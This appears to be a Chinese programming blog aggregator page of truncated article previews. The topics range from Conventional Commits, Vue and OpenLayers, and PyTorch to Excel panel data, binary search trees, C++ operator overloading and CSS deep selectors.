一&#xff0c;conventional commit(约定式提交) Conventional Commits 是一种用于给提交信息增加人机可读含义的规范。它提供了一组用于创建清晰的提交历史的简单规则。 1.1 作用 自动化生成 CHANGELOG基于提交类型&#xff0c;自动决定语义化的版本变更向项目相关合作开发…

数学与计算机:一场幽默风趣的盲约

数学与计算机&#xff1a;一场幽默风趣的盲约 Mathematics and Computers: A Humorous and Witty Blind Date 大家好&#xff0c;今天我们将要探讨一个比猫和键盘之间的深刻关系更有趣的话题——数学和计算机的浪漫邂逅。这可不是一场普通的相亲&#xff0c;而是一场逻辑与算法…

Vue+OpenLayers7入门到实战:快速搭建Vue+OpenLayers7地图脚手架项目。从零开始构建Vue项目并整合OpenLayers7.5.2

返回《Vue+OpenLayers7》专栏目录:Vue+OpenLayers7 前言 本章针对Vue初学者,对Vue不熟悉,甚至还不会Vue的入门学生读者。 本章会详细讲解从NodeJS环境到npm环境的各个步骤,再到使用vue-cli脚手架快速生成项目,以及添加OpenLayers7地图库依赖,编写简单的xyz高德地图显示…

基于python豆瓣电影评论的情感分析和聚类分析,聚类分析有手肘法进行检验,情感分析用snownlp

基于Python的豆瓣电影评论的情感分析和聚类分析是一种用于探索电影评论数据的方法。 情感分析 情感分析旨在从文本中提取情感信息&#xff0c;并对其进行分类&#xff0c;如正面、负面或中性。在这里&#xff0c;我们使用了一个名为snownlp的Python库来进行情感分析。Snownlp是…

Excel:将截面数据转换成面板数据

原始截面数据如下&#xff1a; 步骤&#xff1a;数据——自表格/区域 点击确定&#xff0c;出现下图&#xff1a; 然后&#xff0c;在这个界面选择&#xff1a;“转换”——“逆透视列”下选择逆透视其他列。会出现面板数据形式。 然后&#xff0c;点击“主页”——关闭并上载即…

二叉搜索树操作题目:二叉搜索树中的搜索操作

文章目录 题目标题和出处难度题目描述要求示例数据范围 解法一思路和算法代码复杂度分析 解法二思路和算法代码复杂度分析 题目 标题和出处 标题&#xff1a;二叉搜索树中的搜索操作 出处&#xff1a;700. 二叉搜索树中的搜索操作 难度 2 级 题目描述 要求 给定二叉搜索…

【java】6案例演示

关键字的定义和特点&#xff1a; 定义&#xff1a;被 Java 语言赋予了特殊含义&#xff0c;用做专门用途的字符串&#xff08;单词&#xff09; 特点&#xff1a;关键字中所有字母都为小写 保留字介绍 Java 保留字&#xff1a;现有 Java 版本尚未使用&#xff0c;但以后版本可…

Effective C++——关于重载赋值运算

令operator返回一个*this的引用 在重载,,*等运算符时&#xff0c;令其返回一个指向this的引用。 class MyClass {int* val; public:MyClass(int i) : val(new int(i)){}MyClass():val(new int(0)){}void print() {cout << *val << endl;}MyClass& operator(co…

【pytorch框架】使用 PyTorch 进行深度学习

1.Pytorch介绍 PyTorch 是由 Facebook 创建和发布的用于深度学习计算的 Python 库。它起源于早期的库 Torch 7&#xff0c;但完全重写。 它是两个最受欢迎的深度学习库之一。PyTorch 是一个完整的库&#xff0c;能够训练深度学习模型以及在推理模式下运行模型&#xff0c;并支…

Vue3 watch与watchEffect区别

✨ 专栏介绍 在当今Web开发领域中&#xff0c;构建交互性强、可复用且易于维护的用户界面是至关重要的。而Vue.js作为一款现代化且流行的JavaScript框架&#xff0c;正是为了满足这些需求而诞生。它采用了MVVM架构模式&#xff0c;并通过数据驱动和组件化的方式&#xff0c;使…

Unity中UGUI在Mask剪裁粒子特效的实现

在Unity使用Mask是剪裁不了粒子特效的&#xff0c;之前有想过RenderTexture来实现&#xff0c;不过使用RenderTexture不适合用于很多个特效&#xff0c;因为RenderTexture依赖Camera的照射&#xff0c;如果在背包中每种道具都有不同的特效&#xff0c;那使用RenderTexture则需要…

255:vue+openlayers 加载tomtom地图(多种形式)

第255个 点击查看专栏目录 本示例的目的是介绍演示如何在vue+openlayers中添加tomtom地图,这里包含了多种形式,诸如中文标记、英文标记、白天地图、晚上地图、卫星影像图,高山海拔地形图等。 直接复制下面的 vue+openlayers源代码,操作2分钟即可运行实现效果 文章目录 示…

基于SpringBoot + vue 的旅游景区网站系统设计与实现

目录 一、需求分析 二、技术分析 三、功能分析 四、数据设计 五、界面展示 六、资源获取 一、需求分析 旅游推荐网站是指提供旅游相关信息、服务和建议的在线平台。这些网站旨在帮助用户规划和安排旅行&#xff0c;提供目的地信息、酒店预订、机票预订、租车服务、旅行建…

v42.循环控制语句breakcontinue

1.break 跟在if语句、Switch语句之后 跳出循环 2.continue 例如打印0--20的质数程序。此循环为for循环&#xff1a; 初始化后判断条件&#xff0c;执行完代码块&#xff0c;i的值必定会递增!⚠️ 循环的是if语句和printf函数。如果满足if语句 &#xff0c;那么continue跳过当…

【视野提升】ChatGPT的系统是如何工作的?

类似ChatGPT的系统是如何工作的&#xff1f; 我们试图在下图中解释它是如何工作的。这个过程可以分为两个部分。 训练 要训练一个ChatGPT模型&#xff0c;有两个阶段&#xff1a; 预训练 在这个阶段&#xff0c;我们在大量互联网数据上训练一个GPT模型&#xff08;仅解码器转…

配置环境变量—使用cmd打开QQ

1.windowsR输入cmd打开命令窗口&#xff0c;输入qq点击回车&#xff0c;不能正常运行&#xff0c;因为没有配置环境变量 2.鼠标右键点击QQ&#xff0c;打开文件所在位置&#xff0c;找到QQ.exe文件 3.点击上方复制路径 开始配置环境变量。 1.选中此电脑&#xff0c;鼠标右击&a…

css中>>>、/deep/、::v-deep的作用和区别,element-ui自定义样式

文章目录 一、前言1.1、/deep/1.2、::v-deep1.3、>>> 二、区别三、总结四、最后 一、前言 1.1、/deep/ 在style经常用scoped属性实现组件的私有化时&#xff0c;要改变element-ui某个深层元素&#xff08;例如.el-input__inner&#xff09;或其他深层样式时&#xf…